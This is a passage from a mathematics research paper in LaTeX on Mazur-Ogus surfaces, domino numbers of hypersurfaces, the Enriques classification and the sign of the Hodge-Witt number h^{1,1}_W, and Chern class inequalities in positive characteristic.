$p>\dim(X)+\dim(Y)$ then $X\times_kY$ is a Deligne-Illusie
variety.
\end{remark}
\subsection{Hodge de Rham degeneration and the Cartier operator} Recall from \cite[Section 1.1, page 7]{ogus79}
that thanks to the Cartier operator the Hodge de Rham spectral
sequence
\begin{equation}
E_1=H^q(X,\Omega^p_{X/k})\implies H^{p+q}_{\text{dR}}(X/k)
\end{equation}
degenerates at
$E_1$ if and only if the conjugate spectral sequence
\begin{equation}
E_2^{p,q}=H^p(X,{\mathbb H}_{\text{dR}}^q(\Omega^{\scriptstyle{\bullet}}_{X/k}))\implies
H^{p+q}_{\text{dR}}(X/k)
\end{equation}
degenerates at $E_2$. The first spectral sequence, in any case,
induces the Hodge filtration on the abutment while the second
induces the conjugate Hodge filtration (see \cite{katz72}). In
particular we see that if $X$ is Mazur-Ogus then both the Hodge
de Rham and the conjugate spectral sequences degenerate at $E_1$
(and $E_2$ resp.). In any case $H^*_{dR}(X/k)$ comes equipped with
two filtrations: the Hodge and the conjugate Hodge filtration.
\subsection{Locally closed and locally exact forms} Let $X$ be a smooth, projective surface over
an algebraically field $k$ of characteristic $p>0$. Then we have
the exact sequence
$$0\to B_1\Omega^1_X\to Z_1\Omega^1_X \to \Omega^1_X\to 0,$$
where the arrow $Z_1\Omega^1_X\to \Omega^1_X$ is the inverse
Cartier operator. In particular we have the subspace
$H^0(X,Z_1\Omega^1_X)\subset H^0(X,\Omega^1_X)$ which consists of
closed global one forms on $X$. Using iterated Cartier operators
(or their inverses), we get (see \cite[Chapter 0, 2.2, page
519]{illusie79b}) a sequence of sheaves $B_n\Omega^1_X\subset
Z_n\Omega^1_X$ and the exact sequence
$$0 \to B_n\Omega^1_X\to Z_n\Omega^1_X\to \Omega^1_X\to 0,$$
and sequence of sheaves $Z_{n+1}\Omega^1_X\subset Z_n\Omega^1_X$.
We will write
$$Z_\infty\Omega^1_X=\cap_{n=0}^\infty
Z_n\Omega^1_X.$$ This is the sheaf of indefinitely closed one
forms. We will say that a global one form is indefinitely closed
if it lives in $H^0(X,Z_\infty\Omega^1_X)\subset
H^0(X,\Omega^1_X)$. In general the inclusions
$H^0(Z_\infty\Omega^1_X)\subset H^0(Z_1\Omega^1_X)\subset
H^0(\Omega^1_X)$ may all be strict.
\subsection{Mazur-Ogus explicated for surfaces} For a smooth, projective surface, the condition that
$X$ is Mazur-Ogus takes more tangible geometric forms which are
often easier to check in practice. Part of our next result is
implicit in \cite{illusie79b}. We will use the class of Mazur-Ogus
surfaces in extensively in this paper as well as its sequel and in
particular the following result will be frequently used.
\begin{theorem}
Let $X$ be a smooth, projective surface over a
perfect field $k$ of characteristic $p>0$. Consider the following
assertions
\begin{enumerate}
\item $X$ is Mazur-Ogus
\item $H^2_{cris}(X/W)$ is torsion free and $h^{1,1}=h^{1,1}_W$,
\item $H^2_{cris}(X/W)$ is torsion free and every global $1$-form
on $X$ is closed,
\item ${\rm Pic\,}(X)$ is reduced and every global $1$-form on $X$ is
indefinitely closed,
\item the differentials $H^1(X,\O_X)\to H^1(X,\Omega^1_X)$ and
$H^0(X,\Omega^1_X)\to H^0(X,\Omega^2_X)$ are zero,
\item the Hodge de Rham spectral sequence
$$E_1^{p,q}=H^{q}(X,\Omega^p_{X/k})\Rightarrow H^{p+q}_{dR}(X/k)$$
degenerates at $E_1$,
\end{enumerate}
Then (1) $\Leftrightarrow$ (2) $\Leftrightarrow$ (3) $\Rightarrow$
(4) $\Rightarrow$ (5) $\Leftrightarrow$ (6).
\end{theorem}
\begin{proof}
It is clear from Ekedahl's Theorems (see \ref{ekedahl-theorems})
that (1) $\Rightarrow$ (2). So we prove (2) $\Rightarrow$ (3) and
(3) $\Rightarrow$ (1). Consider the assertion (2) $\Rightarrow$
(3). By \cite[Proposition 5.16, Page 632]{illusie79b} the
assumption of (2) that $H^2_{cris}(X/W)$ is torsion-free implies
that ${\rm Pic\,}(X)$ is reduced, the equality $$\dim
H^0(Z_1\Omega^1_X)=\dim H^0(Z_\infty\Omega^1_X),$$ and also the
equality
$$b_1=h^1_{dR} = h^{0,1}+\dim H^0(Z_1\Omega^1_X).$$
Now our assertion will be proved using Crew's
formula~\ref{crew-formula}. We claim that the following equalities
hold
\begin{eqnarray}
h^{0,0}_W&=&h^{0,0}\\
h^{0,1}_W&=&h^{0,1}\\
h^{0,2}_W&=&h^{0,2}\\
h^{2,0}_W&=&h^{2,0}\\
h^{1,1}-h^{1,1}_W&=&2(h^{1,0}-h^{0,1})
\end{eqnarray}
The first of these is trivial as both the sides are equal to one
for trivial reasons. The second follows from the explicit form of
Crew's formula for surfaces (and the fact that ${\rm Pic\,}(X)$ is
reduced). The third formula follows from Crew's formula and the
first two computations as follows. Crew's formula
\ref{crew-formula} says that
$$h^{0,0}_W-h^{0,1}_W+h^{0,2}_W=h^{0,0}-h^{0,1}+h^{0,2}.$$
By the first two equalities we deduce that $h^{0,2}_W=h^{0,2}$. By
Hodge-Witt symmetry and Serre duality we deduce that
$$h^{0,2}_W=h^{2,0}_W=h^{0,2}=h^{2,0}.$$
Again Crew's formula also gives
$$h^{1,0}_W-h^{1,1}_W+h^{1,2}_W=h^{1,0}-h^{1,1}+h^{1,2}$$
So we get on rearranging that
$$h^{1,1}-h^{1,1}_W=h^{1,0}-h^{1,0}_W+h^{1,2}-h^{1,2}_W.$$
By Serre duality $h^{1,2}=h^{1,0}$ and on the other hand
$$h^{1,2}_W=h^{1,0}_W=h^{0,1}_W=h^{0,1}$$
by duality Hodge-Witt symmetry (see \ref{hodge-witt-symmetry},
\ref{hodge-witt-duality}) and the last equality holds as ${\rm Pic\,}(X)$
is reduced. Thus we see that
$$h^{1,1}-h^{1,1}_W=2(h^{1,0}-h^{0,1}).$$
Thus the hypothesis of (2) implies that
$$h^{1,0}=h^{0,1},$$ and as
$$h^{1,0}=\dim H^0(Z_1\Omega^1_X)=\dim
H^0(Z_\infty\Omega^1_X).$$ So we have deduced that every global
one form on $X$ is closed and hence (2) $\Leftrightarrow$ (3) is
proved.
Now (3) $\Rightarrow$ (1) is proved as follows. The only condition
we need check is that the hypothesis of (3) imply that Hodge de
Rham degenerates. The only non-trivial part of this assertion is
that $H^1(\O_X)\to H^1(X,\Omega^1_X)$ is zero. By
\cite[Prop.~5.16, Page 632]{illusie79b} we know that if
$H^2_{cris}(X/W)$ is torsion free then the differential
$H^1(\O_X)\to H^1(X,\Omega^1_X)$ is zero. Further by hypothesis of
(3) we see that $H^0(X,\Omega^1_X)\to H^0(X,\Omega^2_X)$ also is
zero. The other differentials in the Hodge de Rham spectral
sequence are either zero for trivial reasons or are dual to one of
the above two differentials and hence Hodge de Rham degenerates.
So (3) implies (1).
Now let us prove that (3) $\Rightarrow$ (4). The first assertion
is trivial after \cite[Prop.~5.16, Page 632]{illusie79b}.
Indeed the fact that $H^2_{cris}(X/W)$ is torsion free implies
that ${\rm Pic\,}(X)$ is reduced and
$H^0(X,Z_\infty\Omega^1_X)=H^0(X,Z_1\Omega^1_X)$ and by the
hypothesis of (3) we have further that
$H^0(X,Z_1\Omega^1_X)=H^0(X,\Omega^1_X)$. Thus we have deduced (3)
$\Rightarrow$(4).
The remaining assertions are well-known and are implicit in
\cite[Prop.~5.16, Page 632]{illusie79b} but we give a proof for
completeness. Now assume (4) we want to prove (5). By the
hypothesis of (4) and \cite[Prop.~5.16, Page 632]{illusie79b} we
see that the differential $H^0(X,\Omega^1_X)\to H^0(X,\Omega^2_X)$
is zero. So we have to prove that the differential $H^1(\O_X)\to
H^1(\Omega^1_X)$ is zero. We use the method of proof of
\cite[Prop.~5.16, Page 632]{illusie79b} to do this. Let $f:X\to
{\text{Alb}}(X)$ be the Albanese morphism of $X$. Then we have a
commutative diagram
\begin{equation}
\xymatrix{
0 \ar[r]^{} & H^0(A,\Omega^1_A) \ar[d]_{} \ar[r]^{} & H^1_{dR}(A/k)
\ar[d]_{}
\ar[r]^{} & H^1(\O_A) \ar[d]_{} \ar[r]^{} & 0 \\
0 \ar[r]^{} & H^0(Z_1\Omega^1_X) \ar[r]^{} & H^1_{dR}(X/k) \ar[r]^{} & H^1(\O_X) &
}
\end{equation}
with exact rows and the vertical arrows are injective and
cokernel of the middle arrow is ${}_pH^2_{cris}(X/W)_{Tor}$ (the
$p$-torsion of the torsion of $H^2_{cris}(X/W)$). Moreover the
image of $H^1_{dR}(X/k)\to H^1(\O_X)$ is the $E_\infty^{0,1}$ term
in the Hodge de Rham spectral sequence. Thus the hypothesis of
(4) that ${\rm Pic\,}(X)$ is reduced implies that
$H^1(\O_A)=H^1(\O_X)$, so we have $H^1(\O_A)=H^1(\O_X)\subset
E^{0,1}_\infty=H^1(\O_X)$. Hence $E^{0,1}_\infty=H^1(X,\O_X)$, so
that the differential $H^1(\O_X)\to H^1(\Omega^1_X)$ is zero. This
proves (4) implies (5).
Now let us prove (5) $\Leftrightarrow$ (6). It is trivial that (6)
implies (5). So we only have to prove (5) $\Rightarrow$ (6). This
is elementary, but we give a proof. The differential $H^0(\O_X)\to
H^0(\Omega^1_X)$ is trivially zero, so by duality
$H^2(\Omega^1_X)\to H^2(\Omega^2_X)$ is zero. The differential
$H^0(\Omega^1_X)\to H^0(\Omega^2_X)$ is zero by hypothesis of (5).
This is dual to $H^2(\O_X)\to H^2(\Omega^1_X)$ hence which is also
zero. The differential $H^1(\Omega^1_X)\to H^1(\Omega^2_X)$ is
dual to the differential $H^1(\O_X)\to H^1(\Omega^1_X)$ which is
zero by hypothesis of (5). Hence we have proved (5)
$\Leftrightarrow$ (6).
\end{proof}
\subsection{Domino numbers of Mazur-Ogus varieties}\label{domino-numbers}
Let $X$ be a smooth projective variety over a perfect field. The
purpose here is to prove the following. This was proved for
abelian varieties in \cite{ekedahl-diagonal}.
\begin{theorem}\label{domino-numbers-for-mazur-ogus}
Let $X$ be a smooth projective Mazur-Ogus variety over a perfect
field. Then for all $i,j\geq 0$ the domino numbers $T^{i,j}$ are
completely determined by the Hodge numbers of $X$ and the slope
numbers of $X$.
\end{theorem}
\begin{proof}
This proved by an inductive argument. The first step is to note
that by the hypothesis and \cite{ekedahl-diagonal} one has
\begin{equation}
h^{i,j}=h^{i,j}_W=m^{i,j}+T^{i,j}-2T^{i-1,j+1}+T^{i-2,j+2}
\end{equation}
and so we get for all $j\geq 0$
\begin{equation}
T^{0,j}=h^{0,j}-m^{0,j}
\end{equation}
so the assertion is true for $T^{0,j}$ for all $j\geq 0$. Next we
prove the assertion for $T^{i,n}$ for all $i$. From the above
equation we see that
$T^{i,n}=h^{i,n}-m^{i,n}+2T^{i-1,n+1}-T^{i-2,n+2}$ and the terms
involving $n+1,n+2$ are zero. Now do a downward induction on $j$
to prove the result for $T^{i,j}$: for each fixed $j$, the formula
for $T^{i,j}$ involves $T^{i-1,j+1}$, $T^{i-2,j+2}$ and by
induction hypothesis on $j$ (for each $i$) these two domino
numbers are completely determined by the Hodge and slope numbers.
Thus the result follows.
\end{proof}
In particular as complete intersections in projective space are
Mazur-Ogus, we have the following.
\begin{corollary}
Let $X$ be a smooth projective complete intersection in projective
space. Then $T^{i,j}$ are completely determined by the Hodge
numbers of $X$ and the slope numbers of $X$.
\end{corollary}
\subsection{Explicit formulae for domino numbers of hypersurfaces}\label{explicitformulas}
For $X\subset \P^{n+1}$ a smooth hypersurface we can make the
formulas quite explicit using \cite{lewis-survey,rapoport72}.
We do this here for the reader's convenience.
We begin with the remark that we have the following explicit bound
for $T^{0,j}$:
\begin{equation}
T^{0,j}\leq h^{0,j},
\end{equation}
and if $\dim(X)=n=2$ then we have $m^{0,2}=0$ if and only if
$H^2_{cris}(X/W)\tensor_WK$ is pure slope one. In particular, if this is the case, we have
$T^{0,2}=h^{0,2}$ and so we have $T^{0,2}=p_g(X)$. If $\deg(X)=d$
then we have from \cite{lewis-survey} that $h^{0,2}=\dim
H^0(X,\Omega^2_X)=H^0(X,\O_X(d-4))$ because $\Omega^2_X=\O_X(d-4)$
by a standard calculation.
If $\dim(X)=3$ we have, possibly, two non-trivial numbers to
determine $T^{0,2}$ and $T^{0,3}$ the remaining are either zero or
dual to these by Ekedahl's duality. In fact as $X$ is a hypersurface
$H^{i}(X,\O_X)=0$ for $0<i<\dim(X)$ and hence $T^{0,i}=0$ for all
$i$ except possibly $i=3$ and $T^{1,2}=T^{0,3}$ by Ekedahl's
duality. So we can write down $T^{0,3}=h^{0,3}-m^{0,3}$. If
$H^3_{cris}(X/W)$ has no slopes in $[0,1)$ then we see that
$m^{0,3}=0$ and so again $T^{0,3}=h^{0,3}=\dim H^3(X,\O_X)$.
If $\dim(X)=4$ then there are two non-trivial domino numbers to
determine $T^{0,4}$ and $T^{1,3}$ we may determine $T^{0,4}$ easily.
The formula for $h^{1,3}_W=m^{1,3}+T^{1,3}-2T^{0,4}$ gives
$T^{1,3}=h^{1,3}-m^{1,3}+2T^{0,4}$. If $H^4_{cris}(X/W)$ is pure
slope two, then $m^{1,3}=0$ and so we have
$T^{1,3}=h^{1,3}+2h^{0,4}$
\begin{description}
\item[$\dim(X)=2$] We have $T^{0,2}\leq h^{0,2}$ and equality
holds if and only if $H^2_{cris}(X/W)$ is pure slope one.
\item[$\dim(X)=3$] We have $T^{0,3}\leq h^{0,3}$ with equality if
and only if $H^3_{cris}(X/W)$ has no slopes in $[0,1)$ (equivalently by Poincar\'e duality
$H^3_{cris}(X/W)$ has no slopes in $(2,3]$).
\item[$\dim(X)=4$] We have $T^{0,4}\leq h^{0,4}$ and $T^{1,3}\leq
h^{1,3}+2T^{0,4}$ and both are equal if and only if
$H^4_{cris}(X/W)$ is of pure slope two.
\end{description}
Thus we have proved the following:
\begin{corollary}
Let $X\subset\P^{n+1}$ be a smooth, projective hypersurface over a
perfect field of characteristic $p>0$ with $2\leq\dim(X)=n\leq 4$.
Then we have $T^{0,i}=0$ unless $i=n$ and in that case
\begin{equation}\label{T0ibound}
T^{0,n}\leq h^{0,n}.
\end{equation}
Further $T^{1,i}=0$ unless $i=4$ and if $i=4$ then
\begin{equation}
T^{1,4}\leq h^{1,3}+2h^{0,4}.
\end{equation}
Further equality holds if $H^i_{cris}(X/W)$ satisfies certain slope
conditions which are summarized in Table~\vref{tab:slopes-table}. The table
records the only, possibly non-trivial, domino numbers and the
crystalline condition which is necessary and sufficient for these
domino numbers to achieve their maximal value.
\begin{center}
\begin{table}[H]
\caption{Slope condition(s) for maximal domino numbers\label{tab:slopes-table}}
{\renewcommand{\arraystretch}{1.5}
\begin{tabular}{|c|c|c|c|}
\hline
$\dim(X)$ & $2$ & $3$ & $4$ \\
\hline
$T^{0,2}$ & $H^2_{cris}=H^2_{cris,[1]}$ & $0$ & $0$ \\
\hline
$T^{0,3}$ & $0$ & $H^3_{cris}=H^3_{cris,[1,2]}$ & $0$ \\
\hline
$T^{0,4}$ & $0$ & $0$ & $H^4_{cris}=H^4_{cris,[1,3]}$ \\
\hline
$T^{1,3}$ & $0$ & $0$ & $H^4_{cris}=H^4_{cris,[2]}$ \\
\hline
\end{tabular}
}
\end{table}
\end{center}
\end{corollary}
The following table records the standard formulae (see
\cite{deligne-complete,lewis-survey,rapoport72}) for the non-trivial numerical
invariants of a smooth hypersurface $X\in \P^{n+1}$ with $2\leq
n\leq 4$ and of degree $d$. These can extracted as the coefficients
of the power series expansion of the function
\begin{equation}
H_d(y,z)=\frac{(1+z)^{d-1}-(1+y)^{d-1}}{z(1+y)^d-y(1+z)^d}=\sum_{p,q\geq
0}h_0^{p,q}y^pz^q,
\end{equation}
where $h^{p,q}_0=h^{p,q}-\delta_{p,q}$; we may also calculate the
Betti number of $X$ using the Hodge numbers of $X$ as Hodge de Rham spectral sequence degenerates for a hypersurface in $\P^{n+1}$.
For computational purposes, we can write the above generating function, following \cite{deligne-complete}, the sum as
\begin{equation}
H_d(y,z)=\frac{\sum_{i,j\geq0}\binom{d-1}{i+j+1}y^iz^j}{1-\sum_{i,j\geq1}\binom{d}{i+j}y^iz^j}
\end{equation}
Now it is possible, after a bit of work (which we suppress here) to arrive at the formulae for Hodge numbers for low dimensions (such as the ones we need). Our results are summarized in the following table.
Assuming that the slope conditions for maximal domino numbers hold (see Table~\vref{tab:slopes-table}) we can use the Hodge number calculation to calculate domino numbers. Table~\vref{hodge-table} gives formulae for Hodge numbers $h^{i,j}$.
\begin{center}
\begin{table}[H]
\caption{Hodge and Betti Numbers\label{hodge-table}}
{\renewcommand{\arraystretch}{1.5}
\begin{tabular}{|c|c|c|c|}
\hline
$\dim(X)$ & $2$ & $3$ & $4$ \\
\hline
$h^{0,2}$ & $\frac{(d-1)(d-2)(d-3)}{6}$ & & \\
\hline
$h^{1,1}$ & $\frac{d(2d^2 - 6d + 7)}{3}$ & & \\
\hline
$h^{0,3}$ & & $\frac{(d-1)(d-2)(d-3)(d-4)}{4!}$ & \\
\hline
$h^{1,2}$ & & $\frac{(d-1)(d-2)(11d^2-17d+12)}{4!}$ & \\
\hline
$h^{0,4}$ & & & $\frac{(d-1)(d-2)(d-3)(d-4)(d-5)}{5!}$ \\
\hline
$h^{1,3}$ & & & $\frac{2(d - 1)(d - 2)(13d^3 - 51d^2 + 56d - 30)}{5!}$ \\
\hline
$h^{2,2}$ & & & $\frac{(d - 1)(d - 2)(3d^3 - 11d^2 + 11d - 5)
}{10}$ \\
\hline
$b_2$ & $d^3 - 4d^2 + 6d - 2$
& & \\
\hline
$b_3$ & & $(d - 1)(d - 2)(d^2 - 2d + 2)$ & \\
\hline
$b_4$ & & & $\frac{(d - 1)(d - 2)(3d^3 - 12d^2 + 15d - 10)}{4}$ \\
\hline
\end{tabular}
}
\end{table}
\end{center}
We record for future use:
\begin{equation}\label{h11and2pg}
h^{1,1}-2p_g=\frac{d^3 - 4d + 6}{3}
\end{equation}
and hence
\begin{equation}\label{b2and4pg}
b_2-4p_g=\frac{d^3 - 4d + 6}{3}.
\end{equation}
We summarize formulae for maximal values of $T^{0,i}$ which we can obtain using this method in the following.
\begin{proposition}
Assume that $X\subseteq \P^n$ is a smooth, projective hypersurface of degree $d$ and $\dim(X)\leq 4$. Suppose that the crystalline cohomology of $X$ satisfies the slope condition of for maximal domino numbers given in (Table~\vref{tab:slopes-table}). Then the domino numbers $T^{0,i}$ for $i=2,3,4$ (resp. $\dim(X)=2,3,4$) are given by Table~\vref{domino-table}:
\begin{center}
\begin{table}[H]
\caption{Maximal domino numbers\label{domino-table}}
{\renewcommand{\arraystretch}{1.5}
\begin{tabular}{|c|c|}
\hline
$i$ & $T^{0,i}$ \\
\hline
2 & $\frac{(d-1)(d-2)(d-3)}{6}$ \\
\hline
3 & $\frac{(d-1)(d-2)(d-3)(d-4)}{4!}$ \\
\hline
4 & $\frac{(d-1)(d-2)(d-3)(d-4)(d-5)}{5!}$ \\
\hline
$T^{1,3}$ & $\frac{(d - 1)(d - 2)(14d^3 - 63d^2 + 103d - 90)}{5!}$ \\
\hline
\end{tabular}}
\end{table}
\end{center}
\end{proposition}
\section{Enriques Classification and negativity of $h^{1,1}_W$}
\label{hodge-witt-of-surfaces}
\subsection{Main result of this section}
The main theorem we want to prove is Theorem~\ref{negative-hw11}.
The proof of Theorem~\ref{negative-hw11} is divided in to several
parts and it uses the Enriques' classification of surfaces. We do
not know how to prove the assertion without using Enriques'
classification \cite{bombieri76}, \cite{bombieri77}.
\begin{theorem}\label{negative-hw11}
Let $X/k$ be a smooth, projective surface over a perfect field $k$
of characteristic $p>0$. If $p\geq 5$ and $h^{1,1}_W<0$ then $X$
is of general type. If $p=2,3$ and $h^{1,1}_W<0$ then $X$ is
either quasi-elliptic of Kodaira dimension one or of general type.
\end{theorem}
\begin{remark}
The restriction on the characteristic in
Theorem~\ref{negative-hw11} comes in because of quasi-elliptic
surfaces (which exist in characteristic two and three). From
\cite[Corollary, page 480]{lang79} and the formula for $h^{1,1}_W$ it
is possible to write down examples of quasi-elliptic surfaces of
Kodaira dimension one where this invariant is negative.
\end{remark}
\subsection{Enriques' classification}\label{enriques}
We briefly recall Enriques' classification of surfaces
(\cite{mumford69}, \cite{bombieri77}, \cite{bombieri76}). Let
$X/k$ be a smooth projective surface. Then Enriques's
classification is carried out by means of the Kodaira dimension
$\kappa(X)$. All surfaces with $\kappa(X)=-\infty$ are ruled
surfaces; the surfaces with $\kappa(X)=0$ comprise of K3 surfaces,
abelian surfaces, Enriques surfaces, non-classical Enriques
surfaces (in characteristic two), bielliptic surfaces and
non-classical hyperelliptic surfaces (in characteristic two and
three). The surfaces with $\kappa(X)=1$ are (properly) elliptic
surfaces and finally the surfaces with $\kappa(X)=2$ are surfaces
of general type.
\subsection{Two proofs of non-negativity} In this
subsection we give two proofs of the following:
\begin{proposition}\label{non-negative-hw-for-surfaces}
Let $X/k$ be a smooth projective surface.
Then for $(i,j)\neq (1,1)$ we have $h^{i,j}_W\geq 0$.
\end{proposition}
\begin{proof}[First proof]
The assertion is trivial for $h^{0,1}_W=h^{1,0}_W=b_1/2$. So we have
to check it for $h^{2,0}_W=h^{0,2}_W=\chi(\O_X)-1+b_1/2$. Writing out
this explicitly we have
\begin{equation}
h^{0,2}_W=h^{0,0}-h^{0,1}+h^{0,2}-1+b_1/2
\end{equation}
or as $h^{0,0}=1$ (as $X$ is connected) we get
\begin{equation}
h^{0,2}_W=h^{0,2}-(h^{0,1}-q)
\end{equation}
where $q=b_1/2=\dim_k{\text{Alb}}(X)$ is the dimension of the Albanese variety
of $X$. By \cite[page 25]{bombieri76} we know that $h^{0,1}-q\leq
p_g=h^{0,2}$ and so the non-negativity assertion follows.
\end{proof}
\begin{proof}[Second Proof]
We use
the definition of
\begin{equation}
h^{i,j}_W=m^{i,j}+T^{i,j}-2T^{i-1,j+1}+T^{i-2,j+2}.
\end{equation} To prove the
result it suffices to show that $T^{i-1,j+1}$ is zero for all
$(i,j)\neq (1,1)$. This follows from the fact that in the slope
spectral sequence of a smooth projective surface, there is at most one
non-trivial differential (see \cite{nygaard79b}, \cite[Corollary 3.14,
page 619]{illusie79b}) and this gives vanishing of the domino numbers
except possibly $T^{0,2}$, and if $(i-1,j+1)=(0,2)$ then
$(i,j)=(1,1)$.
\end{proof}
\subsection{The case $\kappa(X)=-\infty$} We begin by
stepping through the Enriques' classification (see \ref{enriques}) and
verifying the non-negativity of the Hodge-Witt number in all the
cases.
\begin{proposition}\label{kappaminusinfinity}
Let $X/k$ be a smooth projective surface. If $\kappa(X)=-\infty$
then $h^{1,1}_W\geq 0$.
\end{proposition}
\begin{proof}
As $\kappa(X)=-\infty$, we know from \cite{bombieri77} that either $X$
is rational or it is ruled (irrational ruled). Assume $X$ is
irrational ruled. Then one has $c_1^2=8-8q$ and $\chi(\O_X)=1-q$. By
Noether's formula $\chi(\O_X)=\frac{1}{12}(c_1^2+c_2)$ we get
\begin{equation}
h^{1,1}_W=b_1+\frac{5}{6}4(1-q)-\frac{1}{6}8(1-q)=b_1+2(1-q)=2\geq0
\end{equation}
where we have used the fact that for a ruled surface ${\rm Pic\,}(X)$ is
reduced (which follows from $p_g=0$ for a ruled surface so
$H^2(X,W(\O_X))=0$), and the fact that $b_1=2q$.
If $X$ is rational, then either $X=\P^2$ or $X$ is ruled, rational. In
the first case $c_1^2=9$ and in the second case $c_1^2=8$. In both the
cases $\chi(\O_X)=1$ and we are done by an explicit calculation.
\end{proof}
\subsection{Reduction to minimal model} Before proceeding further we record a lemma which
allows us to reduce the question of $h_W^{1,1}<0$ to minimal
surfaces. The main point is to note that if under a blowup at a
single point $h^{1,1}_W$ increases by one. This follows from
properties of $c_1^2,c_2$ under blowups and the formula
\ref{ekedahl-formula}.
\begin{lemma}\label{minimal-reduction}
If $X$ is a smooth, projective surface with
$h^{1,1}_W(X)<0$, and if $X$ has a minimal model $X'$, then
$h^{1,1}_W(X')<0$.
\end{lemma}
\begin{proof}
The lemma follows from the observation recorded
earlier that $h^{1,1}_W$ increases by one under blowups, so
passing from $X$ to $X'$ involves a decrease in $h^{1,1}$. Thus we
see that $h^{1,1}_W(X')<h^{1,1}_W<0$.
\end{proof}
\subsection{The $\kappa(X)=0$}
\begin{proposition}\label{kappazero}
Let $X/k$ be a smooth projective, minimal surface with
$\kappa(X)=0$. Then $h^{1,1}_W\geq 0$.
\end{proposition}
\begin{proof}
This is easy: when $\kappa(X)=0$, we know that $c_1^2=0$ and so it
suffices to show that $\chi(\O_X)\geq 0$. This follows from the table
in \cite[page 25]{bombieri76}.
\end{proof}
\subsection{The case $\kappa(X)=1$}
The following proposition shows that $h^{1,1}_W\geq 0$ holds for
surfaces of $\kappa(X)=1$ unless the surface is quasi-elliptic.
There are example of quasi-elliptic surfaces for which the result
fails.
\begin{proposition}\label{kappaone}
Assume $X$ is a smooth projective, minimal surface over a perfect
field of characteristic $p>0$ with $\kappa(X)=1$. If $p=2,3$,
assume that $X$ is not quasi-elliptic. Then $h^{1,1}_W\geq 0$.
\end{proposition}
\begin{proof}
Under our hypothesis, $X$ is a properly elliptic surface (i.e.,
the generic fibre is smooth curve of genus $1$ and $c_1^2=0$.
Hence it suffices to verify that $c_2\geq 0$. As
$c_2=\chi_{et}(X)$, the required inequality is equivalent to
proving $\chi_{et}(X)\geq 0$. This inequality is implicit in
\cite{bombieri76}; it can also be proved directly using the Euler
characteristic formula (see \cite{cossec-dolgachev}[page 290,
Proposition~5.1.6] and the paragraph preceding it).
\end{proof}
\subsection{Proof of Theorem~\ref{negative-hw11}}
Now we can assemble various components of the proof. Assume that
$X$ has $h^{1,1}_W<0$. By Proposition~\ref{kappaminusinfinity} we
have $h^{1,1}_W\geq 0$ for $\kappa(X)=-\infty$, so we may assume
that $\kappa(X)\geq 0$. Then by Lemma~\ref{minimal-reduction} we
may assume that $X$ is already minimal. Now by
Proposition~\ref{kappazero} and Proposition~\ref{kappaone} we have
$h^{1,1}_W\geq 0$ if $0\leq \kappa(X)\leq 1$. So $h^{1,1}_W<0$
forces $X$ to have $\kappa(X)>1$ and so $X$ is of general type.
\section{Chern class inequalities}\label{chern-inequalities}
\subsection{Elementary observations}
In this section we study the chern class inequality $c_1^2\leq
5c_2$ and a weaker variant $c_1^2\leq 5c_2+6b_1$. These were
studied in characteristic zero in \cite{deven76a}. It is, of course, well-known that
$c_1^2\leq 5c_2$ fails for some surfaces in positive characteristic. The first observation we
have, albeit an elementary one, is that the obstructions to
proving $c_1^2\leq 5c_2$ are of de Rham-Witt (i.e. involving
torsion in the slope spectral sequence) and crystalline (i.e.
involving slopes of Frobenius on $H^2_{cris}(X/W)$) in nature. This has not
been noticed before.
Let us begin by recording some trivial but important consequences
of the remarkable formula for $h^{1,1}_W$ (see
\ref{ekedahl-formula}). The main reason for writing them out
explicitly is to illustrate the fact that obstructions to Chern
class inequalities for surfaces are of crystalline (involving
slope of Frobenius) and de Rham-Witt (involving the domino number
$T^{0,2}$).
In what follows we will write
\begin{eqnarray}
c_i&=&c_i(T_X)\\
b_1&=&\dim
H^1_{cris}(X/W)\tensor K,\\
T^{0,2}&=&\dim
\operatorname{\text{Dom}}^{0,2}(H^2(X,W(\O_X))\to H^2(X,W\Omega^1_X)).
\end{eqnarray}
\begin{proposition}\label{chern-inequalities2} Let $X$ be a smooth, projective surface over a
perfect field of characteristic $p>0$.
\begin{enumerate}
\item Then the following conditions are equivalent:
\begin{enumerate}
\item the inequality $c^2_1\leq 5c_2$ holds,
\item the inequality $ h^{1,1}_W\geq b_1 $ holds,
\item the inequality $2T^{0,2}+b_1 \leq m^{1,1}$ holds.
\end{enumerate}
\item If $X$ is Mazur-Ogus surface. Then the following are equivalent
\begin{enumerate}
\item the inequality $c_1^2\leq 5c_2$ holds for $X$,
\item the inequality $h^{1,1}\geq b_1$ holds for $X$,
\item the inequality $2T^{0,2}+b_1 \leq m^{1,1}$ holds.
\end{enumerate}
\item If $X$ is a Hodge-Witt surface. Then the
following assertions are equivalent
\begin{enumerate}
\item the inequality $c_1^2\leq 5c_2$ holds,
\item the inequality $m^{1,1}\geq 2m^{0,1}$ holds.
\end{enumerate}
\end{enumerate}
\end{proposition}
\begin{proof}
All the assertions are trivial consequences of the following formulae, and the fact that if $X$ is Hodge-Witt then $T^{0,2}=0$.
\begin{eqnarray}
h^{1,1}_W &=&m^{1,1}-2T^{0,2}\\
h^{1,1}_W &=&\frac{5c_2-c_1^2}{6}+b_1\\
b_1&=&m^{0,1}+m^{1,0}\\
m^{0,1}&=&m^{1,0},
\end{eqnarray}
and are left to the reader.
\end{proof}
\subsection{Consequences of $h^{1,1}_W\geq 0$}
We also record the main reason for our interest in $h^{1,1}_W\geq
0$.
\begin{proposition} Let $X/k$ be a smooth projective surface over a
perfect field $k$. Then
$$h^{1,1}_W\geq 0$$
holds if and only if the
inequality:
\begin{equation}\label{weakBMY}
c_1^2 \leq 5c_2+6b_1\leq 5c_2+12h^{0,1}.
\end{equation}
holds. On the other hand if $h^{1,1}<0$, then
\begin{equation}\label{hodge-witt-fault-line}
c_1^2\geq 5c_2.
\end{equation}
\end{proposition}
\begin{proof}
The assertions follow easily from Ekedahl's formula
\eqref{ekedahl-formula} for $h^{1,1}_W$:
\begin{equation}
h^{1,1}_W=b_1+\frac{5}{6}c_2-\frac{1}{6}c_1^2
\end{equation}
Hence we see that $h^{1,1}_W\geq 0$ gives $h^{1,1}_W>0$ gives
$5c_2-c_1^2>-6b_1$ or $c_1^2< 5c_2+6b_1$. Further we see that
$h^{1,1}_W<0$ implies that
\begin{equation}
b_1+\frac{5}{6}c_2-\frac{1}{6}c_1^2<0
\end{equation}
As $b_1\geq 0$ the term on the left is not less than
$\frac{5}{6}c_2-\frac{1}{6}c_1^2$ and so
\begin{equation}
\frac{5}{6}c_2-\frac{1}{6}c_1^2\leq h^{1,1}_W <0,
\end{equation}
and the result follows.
\end{proof}
\begin{remark} Let $X$ be a smooth projective surface of general
